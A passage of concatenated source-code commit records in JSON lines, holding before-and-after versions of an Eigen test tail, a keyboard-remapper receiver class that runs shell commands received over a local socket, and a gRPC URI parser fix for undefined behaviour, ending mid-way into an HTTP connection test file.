CALL_SUBTEST_2( array_real(Array22f()) );\n CALL_SUBTEST_3( array_real(Array44d()) );\n CALL_SUBTEST_5( array_real(ArrayXXf(8, 12)) );\n }\n\n VERIFY((internal::is_same< internal::global_math_functions_filtering_base<int>::type, int >::value));\n VERIFY((internal::is_same< internal::global_math_functions_filtering_base<float>::type, float >::value));\n VERIFY((internal::is_same< internal::global_math_functions_filtering_base<Array2i>::type, ArrayBase<Array2i> >::value));\n typedef CwiseUnaryOp<internal::scalar_sum_op<double>, ArrayXd > Xpr;\n VERIFY((internal::is_same< internal::global_math_functions_filtering_base<Xpr>::type,\n ArrayBase<Xpr>\n >::value));\n}\n<|endoftext|>"} {"text":"<commit_before>#pragma once\n\n#include \"console_user_server_client.hpp\"\n#include \"constants.hpp\"\n#include \"input_source_manager.hpp\"\n#include \"local_datagram\/server_manager.hpp\"\n#include \"shell_utility.hpp\"\n#include \"types.hpp\"\n#include <vector>\n\nnamespace krbn {\nclass receiver final {\npublic:\n \/\/ Signals\n\n boost::signals2::signal<void(void)> bound;\n boost::signals2::signal<void(const boost::system::error_code&)> bind_failed;\n boost::signals2::signal<void(void)> closed;\n\n \/\/ Methods\n\n receiver(const receiver&) = delete;\n\n receiver(void) : last_select_input_source_time_stamp_(0) {\n dispatcher_ = std::make_unique<thread_utility::dispatcher>();\n }\n\n void async_start(void) {\n dispatcher_->enqueue([this] {\n if (server_manager_) {\n return;\n }\n\n auto uid = getuid();\n auto socket_file_path = console_user_server_client::make_console_user_server_socket_file_path(uid);\n\n unlink(socket_file_path.c_str());\n\n size_t buffer_size = 32 * 1024;\n std::chrono::milliseconds server_check_interval(3000);\n std::chrono::milliseconds reconnect_interval(1000);\n\n server_manager_ = std::make_unique<local_datagram::server_manager>(socket_file_path,\n buffer_size,\n server_check_interval,\n reconnect_interval);\n\n server_manager_->bound.connect([this] {\n dispatcher_->enqueue([this] {\n bound();\n });\n });\n\n server_manager_->bind_failed.connect([this](auto&& error_code) {\n dispatcher_->enqueue([this, error_code] {\n bind_failed(error_code);\n });\n });\n\n server_manager_->closed.connect([this] {\n dispatcher_->enqueue([this] {\n closed();\n });\n });\n\n server_manager_->received.connect([this](auto&& buffer) {\n dispatcher_->enqueue([this, buffer] {\n if (auto type = types::find_operation_type(*buffer)) {\n switch (*type) {\n case operation_type::shell_command_execution:\n if (buffer->size() != sizeof(operation_type_shell_command_execution_struct)) {\n logger::get_logger().error(\"invalid size for operation_type::shell_command_execution\");\n } else {\n auto p = reinterpret_cast<operation_type_shell_command_execution_struct*>(&((*buffer)[0]));\n\n \/\/ Ensure shell_command is null-terminated string even if corrupted data is sent.\n p->shell_command[sizeof(p->shell_command) - 1] = '\\0';\n\n std::string background_shell_command = shell_utility::make_background_command(p->shell_command);\n system(background_shell_command.c_str());\n }\n break;\n\n case operation_type::select_input_source:\n if (buffer->size() != sizeof(operation_type_select_input_source_struct)) {\n logger::get_logger().error(\"invalid size for operation_type::select_input_source\");\n } else {\n auto p = reinterpret_cast<operation_type_select_input_source_struct*>(&((*buffer)[0]));\n\n \/\/ Ensure input_source_selector's strings are null-terminated string even if corrupted data is sent.\n p->language[sizeof(p->language) - 1] = '\\0';\n p->input_source_id[sizeof(p->input_source_id) - 1] = '\\0';\n p->input_mode_id[sizeof(p->input_mode_id) - 1] = '\\0';\n\n uint64_t time_stamp = p->time_stamp;\n boost::optional<std::string> language(std::string(p->language));\n boost::optional<std::string> input_source_id(std::string(p->input_source_id));\n boost::optional<std::string> input_mode_id(std::string(p->input_mode_id));\n if (language && language->empty()) {\n language = boost::none;\n }\n if (input_source_id && input_source_id->empty()) {\n input_source_id = boost::none;\n }\n if (input_mode_id && input_mode_id->empty()) {\n input_mode_id = boost::none;\n }\n\n input_source_selector input_source_selector(language,\n input_source_id,\n input_mode_id);\n\n if (last_select_input_source_time_stamp_ == time_stamp) {\n return;\n }\n if (input_source_manager_.select(input_source_selector)) {\n last_select_input_source_time_stamp_ = time_stamp;\n }\n }\n break;\n\n default:\n break;\n }\n }\n });\n });\n\n server_manager_->async_start();\n\n logger::get_logger().info(\"receiver is initialized\");\n });\n }\n\n ~receiver(void) {\n dispatcher_->enqueue([this] {\n server_manager_ = nullptr;\n });\n\n dispatcher_->terminate();\n dispatcher_ = nullptr;\n\n logger::get_logger().info(\"receiver is terminated\");\n }\n\nprivate:\n std::unique_ptr<thread_utility::dispatcher> dispatcher_;\n\n std::unique_ptr<local_datagram::server_manager> server_manager_;\n input_source_manager input_source_manager_;\n uint64_t last_select_input_source_time_stamp_;\n};\n} \/\/ namespace krbn\n<commit_msg>fix console_user_server<commit_after>#pragma once\n\n#include \"console_user_server_client.hpp\"\n#include \"constants.hpp\"\n#include \"input_source_manager.hpp\"\n#include \"local_datagram\/server_manager.hpp\"\n#include \"shell_utility.hpp\"\n#include \"types.hpp\"\n#include <vector>\n\nnamespace krbn {\nclass receiver final {\npublic:\n \/\/ Signals\n\n boost::signals2::signal<void(void)> bound;\n boost::signals2::signal<void(const boost::system::error_code&)> bind_failed;\n boost::signals2::signal<void(void)> closed;\n\n \/\/ Methods\n\n receiver(const receiver&) = delete;\n\n receiver(void) : last_select_input_source_time_stamp_(0) {\n dispatcher_ = std::make_unique<thread_utility::dispatcher>();\n }\n\n void async_start(void) {\n dispatcher_->enqueue([this] {\n if (server_manager_) {\n return;\n }\n\n auto uid = getuid();\n auto socket_file_path = console_user_server_client::make_console_user_server_socket_file_path(uid);\n\n unlink(socket_file_path.c_str());\n\n size_t buffer_size = 32 * 1024;\n std::chrono::milliseconds server_check_interval(3000);\n std::chrono::milliseconds reconnect_interval(1000);\n\n server_manager_ = std::make_unique<local_datagram::server_manager>(socket_file_path,\n buffer_size,\n server_check_interval,\n reconnect_interval);\n\n server_manager_->bound.connect([this] {\n dispatcher_->enqueue([this] {\n bound();\n });\n });\n\n server_manager_->bind_failed.connect([this](auto&& error_code) {\n dispatcher_->enqueue([this, error_code] {\n bind_failed(error_code);\n });\n });\n\n server_manager_->closed.connect([this] {\n dispatcher_->enqueue([this] {\n closed();\n });\n });\n\n server_manager_->received.connect([this](auto&& buffer) {\n dispatcher_->enqueue([this, buffer] {\n if (auto type = types::find_operation_type(*buffer)) {\n switch (*type) {\n case operation_type::shell_command_execution:\n if (buffer->size() != sizeof(operation_type_shell_command_execution_struct)) {\n logger::get_logger().error(\"invalid size for operation_type::shell_command_execution\");\n } else {\n auto p = reinterpret_cast<operation_type_shell_command_execution_struct*>(&((*buffer)[0]));\n\n \/\/ Ensure shell_command is null-terminated string even if corrupted data is sent.\n p->shell_command[sizeof(p->shell_command) - 1] = '\\0';\n\n std::string background_shell_command = shell_utility::make_background_command(p->shell_command);\n system(background_shell_command.c_str());\n }\n break;\n\n case operation_type::select_input_source:\n if (buffer->size() != sizeof(operation_type_select_input_source_struct)) {\n logger::get_logger().error(\"invalid size for operation_type::select_input_source\");\n } else {\n auto p = reinterpret_cast<operation_type_select_input_source_struct*>(&((*buffer)[0]));\n\n \/\/ Ensure input_source_selector's strings are null-terminated string even if corrupted data is sent.\n p->language[sizeof(p->language) - 1] = '\\0';\n p->input_source_id[sizeof(p->input_source_id) - 1] = '\\0';\n p->input_mode_id[sizeof(p->input_mode_id) - 1] = '\\0';\n\n auto time_stamp = p->time_stamp;\n boost::optional<std::string> language(std::string(p->language));\n boost::optional<std::string> input_source_id(std::string(p->input_source_id));\n boost::optional<std::string> input_mode_id(std::string(p->input_mode_id));\n if (language && language->empty()) {\n language = boost::none;\n }\n if (input_source_id && input_source_id->empty()) {\n input_source_id = boost::none;\n }\n if (input_mode_id && input_mode_id->empty()) {\n input_mode_id = boost::none;\n }\n\n input_source_selector input_source_selector(language,\n input_source_id,\n input_mode_id);\n\n if (last_select_input_source_time_stamp_ == time_stamp) {\n return;\n }\n if (input_source_manager_.select(input_source_selector)) {\n last_select_input_source_time_stamp_ = time_stamp;\n }\n }\n break;\n\n default:\n break;\n }\n }\n });\n });\n\n server_manager_->async_start();\n\n logger::get_logger().info(\"receiver is initialized\");\n });\n }\n\n ~receiver(void) {\n dispatcher_->enqueue([this] {\n server_manager_ = nullptr;\n });\n\n dispatcher_->terminate();\n dispatcher_ = nullptr;\n\n logger::get_logger().info(\"receiver is terminated\");\n }\n\nprivate:\n std::unique_ptr<thread_utility::dispatcher> dispatcher_;\n\n std::unique_ptr<local_datagram::server_manager> server_manager_;\n input_source_manager input_source_manager_;\n absolute_time last_select_input_source_time_stamp_;\n};\n} \/\/ namespace krbn\n<|endoftext|>"} {"text":"<commit_before>\/*\n *\n * Copyright 2015 gRPC authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *\/\n\n#include \"src\/core\/ext\/filters\/client_channel\/uri_parser.h\"\n\n#include <string.h>\n\n#include <grpc\/slice_buffer.h>\n#include <grpc\/support\/alloc.h>\n#include <grpc\/support\/log.h>\n#include <grpc\/support\/port_platform.h>\n#include <grpc\/support\/string_util.h>\n\n#include \"src\/core\/lib\/slice\/percent_encoding.h\"\n#include \"src\/core\/lib\/slice\/slice_internal.h\"\n#include \"src\/core\/lib\/slice\/slice_string_helpers.h\"\n#include \"src\/core\/lib\/support\/string.h\"\n\n\/** a size_t default value... maps to all 1's *\/\n#define NOT_SET (~(size_t)0)\n\nstatic grpc_uri* bad_uri(const char* uri_text, size_t pos, const char* section,\n bool suppress_errors) {\n char* line_prefix;\n size_t pfx_len;\n\n if (!suppress_errors) {\n gpr_asprintf(&line_prefix, \"bad uri.%s: '\", section);\n pfx_len = strlen(line_prefix) + pos;\n gpr_log(GPR_ERROR, \"%s%s'\", line_prefix, uri_text);\n gpr_free(line_prefix);\n\n line_prefix = (char*)gpr_malloc(pfx_len + 1);\n memset(line_prefix, ' ', pfx_len);\n line_prefix[pfx_len] = 0;\n gpr_log(GPR_ERROR, \"%s^ here\", line_prefix);\n gpr_free(line_prefix);\n }\n\n return NULL;\n}\n\n\/** Returns a copy of percent decoded \\a src[begin, end) *\/\nstatic char* decode_and_copy_component(grpc_exec_ctx* exec_ctx, const char* src,\n size_t begin, size_t end) {\n grpc_slice component =\n grpc_slice_from_copied_buffer(src + begin, end - begin);\n grpc_slice decoded_component =\n grpc_permissive_percent_decode_slice(component);\n char* out = grpc_dump_slice(decoded_component, GPR_DUMP_ASCII);\n grpc_slice_unref_internal(exec_ctx, component);\n grpc_slice_unref_internal(exec_ctx, decoded_component);\n return out;\n}\n\nstatic bool valid_hex(char c) {\n return ((c >= 'a') && (c <= 'f')) || ((c >= 'A') && (c <= 'F')) ||\n ((c >= '0') && (c <= '9'));\n}\n\n\/** Returns how many chars to advance if \\a uri_text[i] begins a valid \\a pchar\n * production. If \\a uri_text[i] introduces an invalid \\a pchar (such as percent\n * sign not followed by two hex digits), NOT_SET is returned. *\/\nstatic size_t parse_pchar(const char* uri_text, size_t i) {\n \/* pchar = unreserved \/ pct-encoded \/ sub-delims \/ \":\" \/ \"@\"\n * unreserved = ALPHA \/ DIGIT \/ \"-\" \/ \".\" \/ \"_\" \/ \"~\"\n * pct-encoded = \"%\" HEXDIG HEXDIG\n * sub-delims = \"!\" \/ \"$\" \/ \"&\" \/ \"'\" \/ \"(\" \/ \")\"\n \/ \"*\" \/ \"+\" \/ \",\" \/ \";\" \/ \"=\" *\/\n char c = uri_text[i];\n switch (c) {\n default:\n if (((c >= 'a') && (c <= 'z')) || ((c >= 'A') && (c <= 'Z')) ||\n ((c >= '0') && (c <= '9'))) {\n return 1;\n }\n break;\n case ':':\n case '@':\n case '-':\n case '.':\n case '_':\n case '~':\n case '!':\n case '$':\n case '&':\n case '\\'':\n case '(':\n case ')':\n case '*':\n case '+':\n case ',':\n case ';':\n case '=':\n return 1;\n case '%': \/* pct-encoded *\/\n if (valid_hex(uri_text[i + 1]) && valid_hex(uri_text[i + 2])) {\n return 2;\n }\n return NOT_SET;\n }\n return 0;\n}\n\n\/* *( pchar \/ \"?\" \/ \"\/\" ) *\/\nstatic int parse_fragment_or_query(const char* uri_text, size_t* i) {\n char c;\n while ((c = uri_text[*i]) != 0) {\n const size_t advance = parse_pchar(uri_text, *i); \/* pchar *\/\n switch (advance) {\n case 0: \/* uri_text[i] isn't in pchar *\/\n \/* maybe it's ? or \/ *\/\n if (uri_text[*i] == '?' || uri_text[*i] == '\/') {\n (*i)++;\n break;\n } else {\n return 1;\n }\n GPR_UNREACHABLE_CODE(return 0);\n default:\n (*i) += advance;\n break;\n case NOT_SET: \/* uri_text[i] introduces an invalid URI *\/\n return 0;\n }\n }\n \/* *i is the first uri_text position past the \\a query production, maybe \\0 *\/\n return 1;\n}\n\nstatic void parse_query_parts(grpc_uri* uri) {\n static const char* QUERY_PARTS_SEPARATOR = \"&\";\n static const char* QUERY_PARTS_VALUE_SEPARATOR = \"=\";\n GPR_ASSERT(uri->query != NULL);\n if (uri->query[0] == '\\0') {\n uri->query_parts = NULL;\n uri->query_parts_values = NULL;\n uri->num_query_parts = 0;\n return;\n }\n\n gpr_string_split(uri->query, QUERY_PARTS_SEPARATOR, &uri->query_parts,\n &uri->num_query_parts);\n uri->query_parts_values =\n (char**)gpr_malloc(uri->num_query_parts * sizeof(char**));\n for (size_t i = 0; i < uri->num_query_parts; i++) {\n char** query_param_parts;\n size_t num_query_param_parts;\n char* full = uri->query_parts[i];\n gpr_string_split(full, QUERY_PARTS_VALUE_SEPARATOR, &query_param_parts,\n &num_query_param_parts);\n GPR_ASSERT(num_query_param_parts > 0);\n uri->query_parts[i] = query_param_parts[0];\n if (num_query_param_parts > 1) {\n \/* TODO(dgq): only the first value after the separator is considered.\n * Perhaps all chars after the first separator for the query part should\n * be included, even if they include the separator. *\/\n uri->query_parts_values[i] = query_param_parts[1];\n } else {\n uri->query_parts_values[i] = NULL;\n }\n for (size_t j = 2; j < num_query_param_parts; j++) {\n gpr_free(query_param_parts[j]);\n }\n gpr_free(query_param_parts);\n gpr_free(full);\n }\n}\n\ngrpc_uri* grpc_uri_parse(grpc_exec_ctx* exec_ctx, const char* uri_text,\n bool suppress_errors) {\n grpc_uri* uri;\n size_t scheme_begin = 0;\n size_t scheme_end = NOT_SET;\n size_t authority_begin = NOT_SET;\n size_t authority_end = NOT_SET;\n size_t path_begin = NOT_SET;\n size_t path_end = NOT_SET;\n size_t query_begin = NOT_SET;\n size_t query_end = NOT_SET;\n size_t fragment_begin = NOT_SET;\n size_t fragment_end = NOT_SET;\n size_t i;\n\n for (i = scheme_begin; uri_text[i] != 0; i++) {\n if (uri_text[i] == ':') {\n scheme_end = i;\n break;\n }\n if (uri_text[i] >= 'a' && uri_text[i] <= 'z') continue;\n if (uri_text[i] >= 'A' && uri_text[i] <= 'Z') continue;\n if (i != scheme_begin) {\n if (uri_text[i] >= '0' && uri_text[i] <= '9') continue;\n if (uri_text[i] == '+') continue;\n if (uri_text[i] == '-') continue;\n if (uri_text[i] == '.') continue;\n }\n break;\n }\n if (scheme_end == NOT_SET) {\n return bad_uri(uri_text, i, \"scheme\", suppress_errors);\n }\n\n if (uri_text[scheme_end + 1] == '\/' && uri_text[scheme_end + 2] == '\/') {\n authority_begin = scheme_end + 3;\n for (i = authority_begin; uri_text[i] != 0 && authority_end == NOT_SET;\n i++) {\n if (uri_text[i] == '\/' || uri_text[i] == '?' || uri_text[i] == '#') {\n authority_end = i;\n }\n }\n if (authority_end == NOT_SET && uri_text[i] == 0) {\n authority_end = i;\n }\n if (authority_end == NOT_SET) {\n return bad_uri(uri_text, i, \"authority\", suppress_errors);\n }\n \/* TODO(ctiller): parse the authority correctly *\/\n path_begin = authority_end;\n } else {\n path_begin = scheme_end + 1;\n }\n\n for (i = path_begin; uri_text[i] != 0; i++) {\n if (uri_text[i] == '?' || uri_text[i] == '#') {\n path_end = i;\n break;\n }\n }\n if (path_end == NOT_SET && uri_text[i] == 0) {\n path_end = i;\n }\n if (path_end == NOT_SET) {\n return bad_uri(uri_text, i, \"path\", suppress_errors);\n }\n\n if (uri_text[i] == '?') {\n query_begin = ++i;\n if (!parse_fragment_or_query(uri_text, &i)) {\n return bad_uri(uri_text, i, \"query\", suppress_errors);\n } else if (uri_text[i] != 0 && uri_text[i] != '#') {\n \/* We must be at the end or at the beginning of a fragment *\/\n return bad_uri(uri_text, i, \"query\", suppress_errors);\n }\n query_end = i;\n }\n if (uri_text[i] == '#') {\n fragment_begin = ++i;\n if (!parse_fragment_or_query(uri_text, &i)) {\n return bad_uri(uri_text, i - fragment_end, \"fragment\", suppress_errors);\n } else if (uri_text[i] != 0) {\n \/* We must be at the end *\/\n return bad_uri(uri_text, i, \"fragment\", suppress_errors);\n }\n fragment_end = i;\n }\n\n uri = (grpc_uri*)gpr_zalloc(sizeof(*uri));\n uri->scheme =\n decode_and_copy_component(exec_ctx, uri_text, scheme_begin, scheme_end);\n uri->authority = decode_and_copy_component(exec_ctx, uri_text,\n authority_begin, authority_end);\n uri->path =\n decode_and_copy_component(exec_ctx, uri_text, path_begin, path_end);\n uri->query =\n decode_and_copy_component(exec_ctx, uri_text, query_begin, query_end);\n uri->fragment = decode_and_copy_component(exec_ctx, uri_text, fragment_begin,\n fragment_end);\n parse_query_parts(uri);\n\n return uri;\n}\n\nconst char* grpc_uri_get_query_arg(const grpc_uri* uri, const char* key) {\n GPR_ASSERT(key != NULL);\n if (key[0] == '\\0') return NULL;\n\n for (size_t i = 0; i < uri->num_query_parts; ++i) {\n if (0 == strcmp(key, uri->query_parts[i])) {\n return uri->query_parts_values[i];\n }\n }\n return NULL;\n}\n\nvoid grpc_uri_destroy(grpc_uri* uri) {\n if (!uri) return;\n gpr_free(uri->scheme);\n gpr_free(uri->authority);\n gpr_free(uri->path);\n gpr_free(uri->query);\n for (size_t i = 0; i < uri->num_query_parts; ++i) {\n gpr_free(uri->query_parts[i]);\n gpr_free(uri->query_parts_values[i]);\n }\n gpr_free(uri->query_parts);\n gpr_free(uri->query_parts_values);\n gpr_free(uri->fragment);\n gpr_free(uri);\n}\n<commit_msg>Fix internal UBSAN failure<commit_after>\/*\n *\n * Copyright 2015 gRPC authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *\/\n\n#include \"src\/core\/ext\/filters\/client_channel\/uri_parser.h\"\n\n#include <string.h>\n\n#include <grpc\/slice_buffer.h>\n#include <grpc\/support\/alloc.h>\n#include <grpc\/support\/log.h>\n#include <grpc\/support\/port_platform.h>\n#include <grpc\/support\/string_util.h>\n\n#include \"src\/core\/lib\/slice\/percent_encoding.h\"\n#include \"src\/core\/lib\/slice\/slice_internal.h\"\n#include \"src\/core\/lib\/slice\/slice_string_helpers.h\"\n#include \"src\/core\/lib\/support\/string.h\"\n\n\/** a size_t default value... maps to all 1's *\/\n#define NOT_SET (~(size_t)0)\n\nstatic grpc_uri* bad_uri(const char* uri_text, size_t pos, const char* section,\n bool suppress_errors) {\n char* line_prefix;\n size_t pfx_len;\n\n if (!suppress_errors) {\n gpr_asprintf(&line_prefix, \"bad uri.%s: '\", section);\n pfx_len = strlen(line_prefix) + pos;\n gpr_log(GPR_ERROR, \"%s%s'\", line_prefix, uri_text);\n gpr_free(line_prefix);\n\n line_prefix = (char*)gpr_malloc(pfx_len + 1);\n memset(line_prefix, ' ', pfx_len);\n line_prefix[pfx_len] = 0;\n gpr_log(GPR_ERROR, \"%s^ here\", line_prefix);\n gpr_free(line_prefix);\n }\n\n return NULL;\n}\n\n\/** Returns a copy of percent decoded \\a src[begin, end) *\/\nstatic char* decode_and_copy_component(grpc_exec_ctx* exec_ctx, const char* src,\n size_t begin, size_t end) {\n grpc_slice component =\n (begin == NOT_SET || end == NOT_SET)\n ? grpc_empty_slice()\n : grpc_slice_from_copied_buffer(src + begin, end - begin);\n grpc_slice decoded_component =\n grpc_permissive_percent_decode_slice(component);\n char* out = grpc_dump_slice(decoded_component, GPR_DUMP_ASCII);\n grpc_slice_unref_internal(exec_ctx, component);\n grpc_slice_unref_internal(exec_ctx, decoded_component);\n return out;\n}\n\nstatic bool valid_hex(char c) {\n return ((c >= 'a') && (c <= 'f')) || ((c >= 'A') && (c <= 'F')) ||\n ((c >= '0') && (c <= '9'));\n}\n\n\/** Returns how many chars to advance if \\a uri_text[i] begins a valid \\a pchar\n * production. If \\a uri_text[i] introduces an invalid \\a pchar (such as percent\n * sign not followed by two hex digits), NOT_SET is returned. *\/\nstatic size_t parse_pchar(const char* uri_text, size_t i) {\n \/* pchar = unreserved \/ pct-encoded \/ sub-delims \/ \":\" \/ \"@\"\n * unreserved = ALPHA \/ DIGIT \/ \"-\" \/ \".\" \/ \"_\" \/ \"~\"\n * pct-encoded = \"%\" HEXDIG HEXDIG\n * sub-delims = \"!\" \/ \"$\" \/ \"&\" \/ \"'\" \/ \"(\" \/ \")\"\n \/ \"*\" \/ \"+\" \/ \",\" \/ \";\" \/ \"=\" *\/\n char c = uri_text[i];\n switch (c) {\n default:\n if (((c >= 'a') && (c <= 'z')) || ((c >= 'A') && (c <= 'Z')) ||\n ((c >= '0') && (c <= '9'))) {\n return 1;\n }\n break;\n case ':':\n case '@':\n case '-':\n case '.':\n case '_':\n case '~':\n case '!':\n case '$':\n case '&':\n case '\\'':\n case '(':\n case ')':\n case '*':\n case '+':\n case ',':\n case ';':\n case '=':\n return 1;\n case '%': \/* pct-encoded *\/\n if (valid_hex(uri_text[i + 1]) && valid_hex(uri_text[i + 2])) {\n return 2;\n }\n return NOT_SET;\n }\n return 0;\n}\n\n\/* *( pchar \/ \"?\" \/ \"\/\" ) *\/\nstatic int parse_fragment_or_query(const char* uri_text, size_t* i) {\n char c;\n while ((c = uri_text[*i]) != 0) {\n const size_t advance = parse_pchar(uri_text, *i); \/* pchar *\/\n switch (advance) {\n case 0: \/* uri_text[i] isn't in pchar *\/\n \/* maybe it's ? or \/ *\/\n if (uri_text[*i] == '?' || uri_text[*i] == '\/') {\n (*i)++;\n break;\n } else {\n return 1;\n }\n GPR_UNREACHABLE_CODE(return 0);\n default:\n (*i) += advance;\n break;\n case NOT_SET: \/* uri_text[i] introduces an invalid URI *\/\n return 0;\n }\n }\n \/* *i is the first uri_text position past the \\a query production, maybe \\0 *\/\n return 1;\n}\n\nstatic void parse_query_parts(grpc_uri* uri) {\n static const char* QUERY_PARTS_SEPARATOR = \"&\";\n static const char* QUERY_PARTS_VALUE_SEPARATOR = \"=\";\n GPR_ASSERT(uri->query != NULL);\n if (uri->query[0] == '\\0') {\n uri->query_parts = NULL;\n uri->query_parts_values = NULL;\n uri->num_query_parts = 0;\n return;\n }\n\n gpr_string_split(uri->query, QUERY_PARTS_SEPARATOR, &uri->query_parts,\n &uri->num_query_parts);\n uri->query_parts_values =\n (char**)gpr_malloc(uri->num_query_parts * sizeof(char**));\n for (size_t i = 0; i < uri->num_query_parts; i++) {\n char** query_param_parts;\n size_t num_query_param_parts;\n char* full = uri->query_parts[i];\n gpr_string_split(full, QUERY_PARTS_VALUE_SEPARATOR, &query_param_parts,\n &num_query_param_parts);\n GPR_ASSERT(num_query_param_parts > 0);\n uri->query_parts[i] = query_param_parts[0];\n if (num_query_param_parts > 1) {\n \/* TODO(dgq): only the first value after the separator is considered.\n * Perhaps all chars after the first separator for the query part should\n * be included, even if they include the separator. *\/\n uri->query_parts_values[i] = query_param_parts[1];\n } else {\n uri->query_parts_values[i] = NULL;\n }\n for (size_t j = 2; j < num_query_param_parts; j++) {\n gpr_free(query_param_parts[j]);\n }\n gpr_free(query_param_parts);\n gpr_free(full);\n }\n}\n\ngrpc_uri* grpc_uri_parse(grpc_exec_ctx* exec_ctx, const char* uri_text,\n bool suppress_errors) {\n grpc_uri* uri;\n size_t scheme_begin = 0;\n size_t scheme_end = NOT_SET;\n size_t authority_begin = NOT_SET;\n size_t authority_end = NOT_SET;\n size_t path_begin = NOT_SET;\n size_t path_end = NOT_SET;\n size_t query_begin = NOT_SET;\n size_t query_end = NOT_SET;\n size_t fragment_begin = NOT_SET;\n size_t fragment_end = NOT_SET;\n size_t i;\n\n for (i = scheme_begin; uri_text[i] != 0; i++) {\n if (uri_text[i] == ':') {\n scheme_end = i;\n break;\n }\n if (uri_text[i] >= 'a' && uri_text[i] <= 'z') continue;\n if (uri_text[i] >= 'A' && uri_text[i] <= 'Z') continue;\n if (i != scheme_begin) {\n if (uri_text[i] >= '0' && uri_text[i] <= '9') continue;\n if (uri_text[i] == '+') continue;\n if (uri_text[i] == '-') continue;\n if (uri_text[i] == '.') continue;\n }\n break;\n }\n if (scheme_end == NOT_SET) {\n return bad_uri(uri_text, i, \"scheme\", suppress_errors);\n }\n\n if (uri_text[scheme_end + 1] == '\/' && uri_text[scheme_end + 2] == '\/') {\n authority_begin = scheme_end + 3;\n for (i = authority_begin; uri_text[i] != 0 && authority_end == NOT_SET;\n i++) {\n if (uri_text[i] == '\/' || uri_text[i] == '?' || uri_text[i] == '#') {\n authority_end = i;\n }\n }\n if (authority_end == NOT_SET && uri_text[i] == 0) {\n authority_end = i;\n }\n if (authority_end == NOT_SET) {\n return bad_uri(uri_text, i, \"authority\", suppress_errors);\n }\n \/* TODO(ctiller): parse the authority correctly *\/\n path_begin = authority_end;\n } else {\n path_begin = scheme_end + 1;\n }\n\n for (i = path_begin; uri_text[i] != 0; i++) {\n if (uri_text[i] == '?' || uri_text[i] == '#') {\n path_end = i;\n break;\n }\n }\n if (path_end == NOT_SET && uri_text[i] == 0) {\n path_end = i;\n }\n if (path_end == NOT_SET) {\n return bad_uri(uri_text, i, \"path\", suppress_errors);\n }\n\n if (uri_text[i] == '?') {\n query_begin = ++i;\n if (!parse_fragment_or_query(uri_text, &i)) {\n return bad_uri(uri_text, i, \"query\", suppress_errors);\n } else if (uri_text[i] != 0 && uri_text[i] != '#') {\n \/* We must be at the end or at the beginning of a fragment *\/\n return bad_uri(uri_text, i, \"query\", suppress_errors);\n }\n query_end = i;\n }\n if (uri_text[i] == '#') {\n fragment_begin = ++i;\n if (!parse_fragment_or_query(uri_text, &i)) {\n return bad_uri(uri_text, i - fragment_end, \"fragment\", suppress_errors);\n } else if (uri_text[i] != 0) {\n \/* We must be at the end *\/\n return bad_uri(uri_text, i, \"fragment\", suppress_errors);\n }\n fragment_end = i;\n }\n\n uri = (grpc_uri*)gpr_zalloc(sizeof(*uri));\n uri->scheme =\n decode_and_copy_component(exec_ctx, uri_text, scheme_begin, scheme_end);\n uri->authority = decode_and_copy_component(exec_ctx, uri_text,\n authority_begin, authority_end);\n uri->path =\n decode_and_copy_component(exec_ctx, uri_text, path_begin, path_end);\n uri->query =\n decode_and_copy_component(exec_ctx, uri_text, query_begin, query_end);\n uri->fragment = decode_and_copy_component(exec_ctx, uri_text, fragment_begin,\n fragment_end);\n parse_query_parts(uri);\n\n return uri;\n}\n\nconst char* grpc_uri_get_query_arg(const grpc_uri* uri, const char* key) {\n GPR_ASSERT(key != NULL);\n if (key[0] == '\\0') return NULL;\n\n for (size_t i = 0; i < uri->num_query_parts; ++i) {\n if (0 == strcmp(key, uri->query_parts[i])) {\n return uri->query_parts_values[i];\n }\n }\n return NULL;\n}\n\nvoid grpc_uri_destroy(grpc_uri* uri) {\n if (!uri) return;\n gpr_free(uri->scheme);\n gpr_free(uri->authority);\n gpr_free(uri->path);\n gpr_free(uri->query);\n for (size_t i = 0; i < uri->num_query_parts; ++i) {\n gpr_free(uri->query_parts[i]);\n gpr_free(uri->query_parts_values[i]);\n }\n gpr_free(uri->query_parts);\n gpr_free(uri->query_parts_values);\n gpr_free(uri->fragment);\n gpr_free(uri);\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n *The MIT License (MIT)\n *\n * Copyright (c) <2016> <Stephan Gatzka>\n *\n * Permission is hereby granted, free of charge, to any person obtaining\n * a copy of this software and associated documentation files (the\n * \"Software\"), to deal in the Software without restriction, including\n * without limitation the rights to use, copy, modify, merge, publish,\n * distribute, sublicense, and\/or sell copies of the Software, and to\n * permit persons to whom the Software is furnished to do so, subject to\n * the following conditions:\n *\n * The above copyright notice and this permission notice shall be\n * included in all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS\n * BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN\n * ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\n * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n *\/\n\n#define BOOST_TEST_DYN_LINK\n#define BOOST_TEST_MAIN\n#define BOOST_TEST_MODULE http_connection_tests\n\n#include <boost\/test\/unit_test.hpp>\n#include <errno.h>\n\n#include \"buffered_socket.h\"\n#include \"eventloop.h\"\n#include \"http_connection.h\"\n#include \"socket.h\"\n\n#define MIN(X, Y) (((X) 